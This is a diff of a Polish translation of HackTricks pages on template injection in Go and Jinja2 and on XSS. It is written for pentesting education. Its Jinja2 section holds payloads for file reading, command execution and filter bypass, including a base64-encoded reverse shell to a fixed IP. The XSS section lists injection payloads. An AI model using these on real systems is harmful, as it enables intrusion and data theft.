W przypadku RCE za pomocą SSTI w Go można wywoływać metody obiektu. Na przykład, jeśli dostarczony obiekt ma metodę `System` wykonującą polecenia, można ją wykorzystać w ten sposób: `{{ .System "ls" }}`. Zazwyczaj konieczne jest uzyskanie dostępu do kodu źródłowego, jak w podanym przykładzie:
Dla RCE poprzez SSTI w Go, można wywoływać metody obiektów. Na przykład, jeśli dostarczony obiekt ma metodę `System` wykonującą polecenia, można ją wykorzystać tak jak `{{ .System "ls" }}`. Dostęp do kodu źródłowego jest zazwyczaj konieczny do wykorzystania tego, jak w podanym przykładzie:
```go
func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
@ -1091,11 +906,11 @@ return string(out)
* [https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html](https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html)
* [https://www.onsecurity.io/blog/go-ssti-method-research/](https://www.onsecurity.io/blog/go-ssti-method-research/)
### Więcej ataków
### Więcej eksploitów
Sprawdź resztę [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) dla więcej ataków. Możesz również znaleźć interesujące informacje o tagach w [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
Sprawdź resztę [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) aby znaleźć więcej eksploitów. Możesz także znaleźć interesujące informacje o tagach w [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
## BlackHat PDF
## Czarna księga PDF
{% file src="../../.gitbook/assets/en-server-side-template-injection-rce-for-the-modern-web-app-blackhat-15.pdf" %}
@ -1125,20 +940,20 @@ Jeśli uważasz, że może być przydatne, przeczytaj:
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) to najważniejsze wydarzenie związane z cyberbezpieczeństwem w **Hiszpanii** i jedno z najważniejszych w **Europie**. Z misją promowania wiedzy technicznej, ten kongres jest gorącym punktem spotkań dla profesjonalistów technologii i cyberbezpieczeństwa we wszystkich dziedzinach.
[**RootedCON**](https://www.rootedcon.com/) to najważniejsze wydarzenie z zakresu cyberbezpieczeństwa w **Hiszpanii** i jedno z najważniejszych w **Europie**. Mając **misję promowania wiedzy technicznej**, ten kongres jest gorącym punktem spotkań dla profesjonalistów technologii i cyberbezpieczeństwa we wszystkich dziedzinach.
{% embed url="https://www.rootedcon.com/" %}
<details>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi trikami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -6,11 +6,11 @@
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
</details>
@ -30,11 +30,9 @@ return "Hello, send someting inside the param 'c'!"
if __name__ == "__main__":
app.run()
```
## **Różne**
### **Instrukcja debugowania**
Jeśli rozszerzenie Debug jest włączone, tag `debug` będzie dostępny do wyświetlania bieżącego kontekstu oraz dostępnych filtrów i testów. Jest to przydatne do sprawdzenia, co jest dostępne do użycia w szablonie bez konieczności konfigurowania debugera.
Jeśli rozszerzenie Debug jest włączone, tag `debug` będzie dostępny do wypisania bieżącego kontekstu oraz dostępnych filtrów i testów. Jest to przydatne do zobaczenia, co jest dostępne do użycia w szablonie bez konieczności ustawiania debugera.
```python
<pre>
@ -43,11 +41,10 @@ Jeśli rozszerzenie Debug jest włączone, tag `debug` będzie dostępny do wyś
{% endraw %}
</pre>
```
Źródło: [https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement](https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement)
### **Wypisz wszystkie zmienne konfiguracyjne**
### **Wyciek wszystkich zmiennych konfiguracyjnych**
```python
{{ config }} #In these object you can find all the configured env variables
@ -58,15 +55,16 @@ Jeśli rozszerzenie Debug jest włączone, tag `debug` będzie dostępny do wyś
<dd>{{ value|e }}</dd>
{% endfor %}
{% endraw %}
```
## **Wstrzykiwanie Jinja**
## **Wstrzyknięcie Jinja**
Po pierwsze, w wstrzykiwaniu Jinja musisz **znaleźć sposób na ucieczkę z piaskownicy** i odzyskanie dostępu do normalnego przepływu wykonania w Pythonie. Aby to zrobić, musisz **nadużywać obiektów**, które są **z poza środowiska piaskownicy, ale dostępne z piaskownicy**.
Po pierwsze, w wstrzyknięciu Jinja musisz **znaleźć sposób na ucieczkę z piaskownicy** i odzyskanie dostępu do regularnego przepływu wykonania w Pythonie. Aby to zrobić, musisz **nadużyć obiektów**, które są **z** środowiska **poza piaskownicą, ale dostępne z piaskownicy**.
### Dostęp do globalnych obiektów
### Dostęp do obiektów globalnych
Na przykład, w kodzie `render_template("hello.html", username=username, email=email)` obiekty username i email **pochodzą z niepiaskownicowego środowiska Pythona** i będą **dostępne** wewnątrz **środowiska piaskownicy**.\
Ponadto, istnieją inne obiekty, które będą **zawsze dostępne z środowiska piaskownicy**, a są to:
Na przykład, w kodzie `render_template("hello.html", username=username, email=email)` obiekty username i email **pochodzą z niezabezpieczonego środowiska Pythona** i będą **dostępne** wewnątrz **środowiska piaskownicy**.\
Co więcej, istnieją inne obiekty, które będą **zawsze dostępne z środowiska piaskownicy**, są to:
```
[]
''
@ -77,7 +75,7 @@ request
```
### Odzyskiwanie \<class 'object'>
Następnie, z tych obiektów musimy dotrzeć do klasy: **`<class 'object'>`** w celu próby **odzyskania** zdefiniowanych **klas**. Jest to możliwe, ponieważ z tego obiektu możemy wywołać metodę **`__subclasses__`** i **uzyskać dostęp do wszystkich klas z niezabezpieczonego** środowiska Pythona.
Następnie, z tych obiektów musimy dotrzeć do klasy: **`<class 'object'>`**, aby spróbować **odzyskać** zdefiniowane **klasy**. Jest to konieczne, ponieważ z tej klasy możemy wywołać metodę **`__subclasses__`** i **uzyskać dostęp do wszystkich klas z niezabezpieczonego** środowiska Pythona.
Aby uzyskać dostęp do tej **klasy obiektu**, musisz uzyskać dostęp do obiektu klasy, a następnie uzyskać dostęp do **`__base__`**, **`__mro__()[-1]`** lub `.`**`mro()[-1]`**. Następnie, **po** dotarciu do tej **klasy obiektu**, wywołujemy **`__subclasses__()`**.
@ -116,15 +114,16 @@ dict.__mro__[-1]
{% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
{% endraw %}
# Not sure if this will work, but I saw it somewhere
{{ [].class.base.subclasses() }}
{{ ''.class.mro()[1].subclasses() }}
```
### Ucieczka RCE
**Po odzyskaniu** `<class 'object'>` i wywołaniu `__subclasses__` możemy teraz użyć tych klas do odczytywania i zapisywania plików oraz wykonywania kodu.
**Odzyskawszy** `<class 'object'>` i wywoławszy `__subclasses__` możemy teraz użyć tych klas do odczytywania i zapisywania plików oraz wykonywania kodu.
Wywołanie `__subclasses__` dało nam możliwość **dostępu do setek nowych funkcji**, będziemy zadowoleni tylko przez dostęp do **klasy pliku** do **odczytu/zapisu plików** lub dowolnej klasy z dostępem do klasy, która **pozwala na wykonywanie poleceń** (jak `os`).
Wywołanie `__subclasses__` dało nam możliwość **dostępu do setek nowych funkcji**, będziemy zadowoleni tylko przez dostęp do klasy **pliku** do **odczytu/zapisu plików** lub dowolnej klasy z dostępem do klasy, która **pozwala na wykonywanie poleceń** (jak `os`).
**Odczyt/Zapis zdalnego pliku**
```python
@ -132,7 +131,7 @@ Wywołanie `__subclasses__` dało nam możliwość **dostępu do setek nowych fu
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
```
**RCE** (Remote Code Execution) to atak, który pozwala hakerowi wykonać kod zdalnie na serwerze. Jest to jedno z najgroźniejszych narzędzi w rękach hakerów, ponieważ umożliwia im zdalne kontrolowanie systemu i wykonanie dowolnych poleceń. Atak RCE może prowadzić do wycieku poufnych danych, usunięcia lub modyfikacji plików systemowych oraz przejęcia pełnej kontroli nad serwerem. Hakerzy często wykorzystują podatności w aplikacjach internetowych, takich jak podatności w silnikach szablonów, aby osiągnąć RCE. Dlatego ważne jest, aby zabezpieczyć aplikacje przed takimi atakami poprzez regularne aktualizacje i audyty bezpieczeństwa.
**Uruchamianie kodu zdalnego**
```python
# The class 396 is the class <class 'subprocess.Popen'>
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
@ -160,7 +159,7 @@ Aby dowiedzieć się o **więcej klasach**, które możesz użyć do **uniknięc
#### Powszechne ominięcia
Te ominięcia pozwolą nam **uzyskać dostęp** do **atrybutów** obiektów **bez użycia niektórych znaków**.\
Już widzieliśmy niektóre z tych ominięć w przykładach wcześniejszych, ale podsumujmy je tutaj:
Już widzieliśmy niektóre z tych ominięć w przykładach poprzednich, ale podsumujmy je tutaj:
```bash
# Without quotes, _, [, ]
## Basic ones
@ -185,26 +184,27 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
{% endraw %}
```
* [**Wróć tutaj, aby uzyskać więcej opcji dostępu do obiektu globalnego**](jinja2-ssti.md#accessing-global-objects)
* [**Wróć tutaj, aby uzyskać więcej opcji dostępu do klasy obiektu**](jinja2-ssti.md#recovering-less-than-class-object-greater-than)
* [**Przeczytaj to, aby uzyskać zdalne wykonanie kodu bez klasy obiektu**](jinja2-ssti.md#jinja-injection-without-less-than-class-object-greater-than)
* [**Powrót tutaj po więcej opcji dostępu do obiektu globalnego**](jinja2-ssti.md#accessing-global-objects)
* [**Powrót tutaj po więcej opcji dostępu do klasy obiektu**](jinja2-ssti.md#recovering-less-than-class-object-greater-than)
* [**Przeczytaj to, aby uzyskać RCE bez klasy obiektu**](jinja2-ssti.md#jinja-injection-without-less-than-class-object-greater-than)
**Unikanie kodowania HTML**
Domyślnie Flask koduje wszystko wewnątrz szablonu ze względów bezpieczeństwa:
Domyślnie Flask koduje wszystko wewnątrz szablonu HTML ze względów bezpieczeństwa:
```python
{{'<script>alert(1);</script>'}}
#will be
&lt;script&gt;alert(1);&lt;/script&gt;
```
**Filtr `safe`** pozwala nam wstrzykiwać kod JavaScript i HTML na stronie **bez** kodowania HTML, tak jak w poniższym przykładzie:
**Filtr `safe`** pozwala nam wstrzyknąć JavaScript i HTML na stronę **bez** kodowania **HTML**, tak jak tutaj:
```python
{{'<script>alert(1);</script>'|safe}}
#will be
<script>alert(1);</script>
```
**RCE poprzez zapisanie złośliwego pliku konfiguracyjnego.**
**Uruchomienie kodu zdalnego poprzez napisanie złośliwego pliku konfiguracyjnego.**
```python
# evil config
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
@ -222,13 +222,14 @@ Bez **`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`**
{% raw %}
{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}
{% endraw %}
```
## Wstrzyknięcie Jinja bez **\<class 'object'>**
Z [**globalnych obiektów**](jinja2-ssti.md#accessing-global-objects) istnieje inny sposób na uzyskanie **RCE bez użycia tej klasy**.\
Jeśli uda ci się uzyskać dostęp do dowolnej **funkcji** z tych globalnych obiektów, będziesz mógł uzyskać dostęp do **`__globals__.__builtins__`** i stamtąd **RCE** jest bardzo **proste**.
Z [**obiektów globalnych**](jinja2-ssti.md#accessing-global-objects) istnieje inny sposób na uzyskanie **RCE bez użycia tej klasy.**\
Jeśli uda ci się uzyskać dostęp do jakiejkolwiek **funkcji** z tych obiektów globalnych, będziesz mógł uzyskać dostęp do **`__globals__.__builtins__`** i stamtąd **RCE** jest bardzo **proste**.
Możesz **znaleźć funkcje** z obiektów **`request`**, **`config`** i dowolnego **innego** interesującego **globalnego obiektu**, do którego masz dostęp, za pomocą:
Możesz **znaleźć funkcje** z obiektów **`request`**, **`config`** i dowolnego **innego** interesującego **obiektu globalnego**, do którego masz dostęp za pomocą:
```bash
{{ request.__class__.__dict__ }}
- application
@ -269,10 +270,10 @@ Gdy już znajdziesz pewne funkcje, możesz odzyskać wbudowane funkcje za pomoc
# All the bypasses seen in the previous sections are also valid
```
## Odwołania
## Odnośniki
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
* Sprawdź [trik attr do omijania czarnych znaków tutaj](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
* Sprawdź [szczegóły dotyczące omijania zablokowanych znaków za pomocą sztuczki attr tutaj](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
* [https://twitter.com/SecGus/status/1198976764351066113](https://twitter.com/SecGus/status/1198976764351066113)
* [https://hackmd.io/@Chivato/HyWsJ31dI](https://hackmd.io/@Chivato/HyWsJ31dI)
@ -282,10 +283,10 @@ Gdy już znajdziesz pewne funkcje, możesz odzyskać wbudowane funkcje za pomoc
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -1,8 +1,8 @@
# XSS (Cross Site Scripting)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Jeśli interesuje Cię **kariera hakera** i hakiowanie rzeczy niemożliwych - **zatrudniamy!** (_wymagana biegła znajomość języka polskiego, zarówno w mowie, jak i piśmie_).
Jeśli interesuje Cię **kariera hakera** i hakowanie rzeczy niemożliwych do zhakowania - **zatrudniamy!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -16,11 +16,11 @@ Jeśli interesuje Cię **kariera hakera** i hakiowanie rzeczy niemożliwych - **
1. Czy możesz tworzyć nowe tagi HTML?
2. Czy możesz używać zdarzeń lub atrybutów obsługujących protokół `javascript:`?
3. Czy możesz ominąć zabezpieczenia?
4. Czy zawartość HTML jest interpretowana przez jakikolwiek silnik JS po stronie klienta (_AngularJS_, _VueJS_, _Mavo_...), możesz wykorzystać [**Wstrzyknięcie Szablonu Po Stronie Klienta**](../client-side-template-injection-csti.md).
5. Jeśli nie możesz tworzyć tagów HTML wykonujących kod JS, czy możesz wykorzystać [**Zawieszone Znaczniki - Wstrzyknięcie HTML bez Skryptów**](../dangling-markup-html-scriptless-injection/)?
4. Czy zawartość HTML jest interpretowana przez jakikolwiek silnik JS po stronie klienta (_AngularJS_, _VueJS_, _Mavo_...), możesz wykorzystać [**Wstrzyknięcie Szablonów Po Stronie Klienta**](../client-side-template-injection-csti.md).
5. Jeśli nie możesz tworzyć tagów HTML wykonujących kod JS, czy możesz wykorzystać [**Zawieszone Znaczniki - Wstrzyknięcie HTML bez skryptów**](../dangling-markup-html-scriptless-injection/)?
2. Wewnątrz **tagu HTML**:
1. Czy możesz wyjść do kontekstu czystego HTML?
2. Czy możesz tworzyć nowe zdarzenia/atrutyty do wykonania kodu JS?
2. Czy możesz tworzyć nowe zdarzenia/atrubuty do wykonania kodu JS?
3. Czy atrybut, w którym utknąłeś, obsługuje wykonanie JS?
4. Czy możesz ominąć zabezpieczenia?
3. Wewnątrz **kodu JavaScript**:
@ -53,8 +53,8 @@ Próbując wykorzystać XSS, pierwszą rzeczą, którą musisz wiedzieć, jest *
### Czyste HTML
Jeśli twoje dane wejściowe są **odbijane na czystej stronie HTML**, będziesz musiał wykorzystać jakiś **tag HTML**, aby wykonać kod JS: `<img , <iframe , <svg , <script` ... to tylko kilka z wielu możliwych tagów HTML, które możesz użyć.\
Pamiętaj również o [Wstrzyknięciu Szablonu Po Stronie Klienta](../client-side-template-injection-csti.md).
Jeśli twoje dane wejściowe są **odbijane na czystej stronie HTML**, będziesz musiał wykorzystać jakiś **tag HTML** w celu wykonania kodu JS: `<img , <iframe , <svg , <script` ... to tylko kilka z wielu możliwych tagów HTML, których możesz użyć.\
Pamiętaj również o [Wstrzyknięciu Szablonów Po Stronie Klienta](../client-side-template-injection-csti.md).
### Wewnątrz atrybutu tagu HTML
@ -62,19 +62,19 @@ Jeśli twoje dane wejściowe są odbijane wewnątrz wartości atrybutu tagu, mo
1. **Uciec z atrybutu i z tagu** (wtedy będziesz w czystym HTML) i utworzyć nowy tag HTML do wykorzystania: `"><img [...]`
2. Jeśli **możesz uciec z atrybutu, ale nie z tagu** (`>` jest zakodowane lub usunięte), w zależności od tagu możesz **utworzyć zdarzenie**, które wykonuje kod JS: `" autofocus onfocus=alert(1) x="`
3. Jeśli **nie możesz uciec z atrybutu** (`"` jest zakodowane lub usunięte), w zależności od **którego atrybutu** twoje dane są odbijane **czy kontrolujesz całą wartość czy tylko jej część**, będziesz mógł to wykorzystać. Na **przykład**, jeśli kontrolujesz zdarzenie jak `onclick=`, będziesz mógł sprawić, żeby wykonywało dowolny kod po kliknięciu. Innym interesującym **przykładem** jest atrybut `href`, gdzie możesz użyć protokołu `javascript:` do wykonania dowolnego kodu: **`href="javascript:alert(1)"`**
4. Jeśli twoje dane wejściowe są odbijane wewnątrz "**nieeksploatowalnych tagów**", możesz spróbować sztuczki z **`accesskey`**, aby wykorzystać lukę (będziesz potrzebował pewnego rodzaju inżynierii społecznej, aby to wykorzystać): **`" accesskey="x" onclick="alert(1)" x="`**
3. Jeśli **nie możesz uciec z atrybutu** (`"` jest zakodowane lub usunięte), w zależności od **którego atrybutu** twoje dane są odbijane, **czy kontrolujesz całą wartość czy tylko jej część**, będziesz mógł to wykorzystać. Na **przykład**, jeśli kontrolujesz zdarzenie jak `onclick=`, będziesz mógł sprawić, żeby wykonywało dowolny kod, gdy zostanie kliknięte. Innym interesującym **przykładem** jest atrybut `href`, gdzie możesz użyć protokołu `javascript:` do wykonania dowolnego kodu: **`href="javascript:alert(1)"`**
4. Jeśli twoje dane wejściowe są odbijane wewnątrz "**nieeksploatowalnych tagów**", możesz spróbować sztuczki z **`accesskey`** aby wykorzystać lukę (będziesz potrzebował jakiegoś rodzaju inżyniera społecznego, aby to wykorzystać): **`" accesskey="x" onclick="alert(1)" x="`**
### Wewnątrz kodu JavaScript
W tym przypadku twoje dane wejściowe są odbijane między tagami **`<script> [...] </script>`** na stronie HTML, w pliku `.js` lub w atrybucie za pomocą protokołu **`javascript:`**:
* Jeśli odbijane między tagami **`<script> [...] </script>`**, nawet jeśli twoje dane wejściowe są w jakimkolwiek rodzaju cudzysłowów, możesz spróbować wstrzyknąć `</script>` i uciec z tego kontekstu. Działa to, ponieważ **przeglądarka najpierw analizuje tagi HTML**, a następnie zawartość, dlatego nie zauważy, że twoja wstrzyknięta etykieta `</script>` znajduje się w kodzie HTML.
* Jeśli odbijane **wewnątrz ciągu znaków JS** i poprzednia sztuczka nie działa, będziesz musiał **wyjść** z ciągu znaków, **wykonać** swój kod i **zrekonstruować** kod JS (jeśli wystąpi błąd, nie zostanie wykonany):
* Jeśli odbijane między tagami **`<script> [...] </script>`**, nawet jeśli twoje dane znajdują się w jakimkolwiek rodzaju cudzysłowów, możesz spróbować wstrzyknąć `</script>` i uciec z tego kontekstu. Działa to, ponieważ **przeglądarka najpierw analizuje tagi HTML**, a następnie zawartość, dlatego nie zauważy, że twoja wstrzyknięta etykieta `</script>` znajduje się w kodzie HTML.
* Jeśli odbijane **wewnątrz ciągu znaków JS** i poprzednia sztuczka nie działa, będziesz musiał **wyjść** ze stringa, **wykonać** swój kod i **rekonstruować** kod JS (jeśli wystąpi błąd, nie zostanie wykonany:
* `'-alert(1)-'`
* `';-alert(1)//`
* `\';alert(1)//`
* Jeśli odbijane wewnątrz literałów szablonu, możesz **osadzać wyrażenia JS** za pomocą składni `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
* Jeśli odbijane wewnątrz literałów szablonu, możesz **osadzać wyrażenia JS** za pomocą składni `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
* **Kodowanie Unicode** działa, aby napisać **poprawny kod JavaScript**:
```javascript
\u{61}lert(1)
@ -83,7 +83,7 @@ W tym przypadku twoje dane wejściowe są odbijane między tagami **`<script> [.
```
#### Podnoszenie Javascript
Podnoszenie Javascript odnosi się do możliwości **deklarowania funkcji, zmiennych lub klas po ich użyciu, dzięki czemu można wykorzystać sytuacje, w których atak XSS wykorzystuje niezadeklarowane zmienne lub funkcje.**\
Podnoszenie Javascript odnosi się do możliwości **deklarowania funkcji, zmiennych lub klas po ich użyciu, dzięki czemu można wykorzystać sytuacje, w których atak XSS wykorzystuje niewywołane zmienne lub funkcje.**\
**Sprawdź następującą stronę, aby uzyskać więcej informacji:**
{% content-ref url="js-hoisting.md" %}
@ -92,9 +92,9 @@ Podnoszenie Javascript odnosi się do możliwości **deklarowania funkcji, zmien
### Funkcja Javascript
Wiele stron internetowych ma punkty końcowe, które **przyjmują jako parametr nazwę funkcji do wykonania**. Powszechnym przykładem, który można zobaczyć w praktyce, jest coś w rodzaju: `?callback=callbackFunc`.
Wiele stron internetowych ma punkty końcowe, które **przyjmują jako parametr nazwę funkcji do wykonania**. Powszechnym przykładem, który można zobaczyć w sieci, jest coś w rodzaju: `?callback=callbackFunc`.
Dobrym sposobem sprawdzenia, czy coś podanego bezpośrednio przez użytkownika próbuje być wykonane, jest **zmiana wartości parametru** (na przykład na 'Vulnerable') i sprawdzenie w konsoli błędów takich jak:
Dobrym sposobem sprawdzenia, czy coś podanego bezpośrednio przez użytkownika próbuje być wykonane, jest **zmiana wartości parametru** (na przykład na 'Vulnerable') i sprawdzenie konsoli pod kątem błędów, takich jak:
![](<../../.gitbook/assets/image (651) (2).png>)
@ -104,7 +104,7 @@ Mimo tych ograniczeń nadal można wykonać pewne działania. Jest to możliwe,
![](<../../.gitbook/assets/image (662).png>)
Niektóre przydatne funkcje do tego:
Kilka przydatnych funkcji do tego:
```
firstElementChild
lastElementChild
@ -143,7 +143,7 @@ Kilka **przykładów**:
[electron-desktop-apps](../../network-services-pentesting/pentesting-web/electron-desktop-apps/)
{% endcontent-ref %}
## Obchodzenie WAF za pomocą kodowania obrazu
## Ominięcie WAF poprzez kodowanie obrazu
![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](../../.gitbook/assets/eaubb2ex0aerank.jpg)
@ -164,11 +164,11 @@ Gdy już **znajdziesz dozwolone tagi**, będziesz musiał **przeprowadzić atak
### Atak siłowy na tagi/zdarzenia
Przejdź do [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) i kliknij _**Skopiuj tagi do schowka**_. Następnie prześlij je wszystkie za pomocą narzędzia Burp Intruder i sprawdź, czy którykolwiek z tagów nie został uznany za złośliwy przez WAF. Gdy już odkryjesz, które tagi możesz użyć, możesz **przeprowadzić atak siłowy na wszystkie zdarzenia** za pomocą poprawnych tagów (na tej samej stronie internetowej kliknij _**Skopiuj zdarzenia do schowka**_ i postępuj tak samo jak wcześniej).
Przejdź do [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) i kliknij _**Skopiuj tagi do schowka**_. Następnie wyślij je wszystkie za pomocą narzędzia Burp Intruder i sprawdź, czy którykolwiek z tagów nie został uznany za złośliwy przez WAF. Gdy już odkryjesz, które tagi możesz użyć, możesz **przeprowadzić atak siłowy na wszystkie zdarzenia** za pomocą poprawnych tagów (na tej samej stronie internetowej kliknij _**Skopiuj zdarzenia do schowka**_ i postępuj tak samo jak wcześniej).
### Tagi niestandardowe
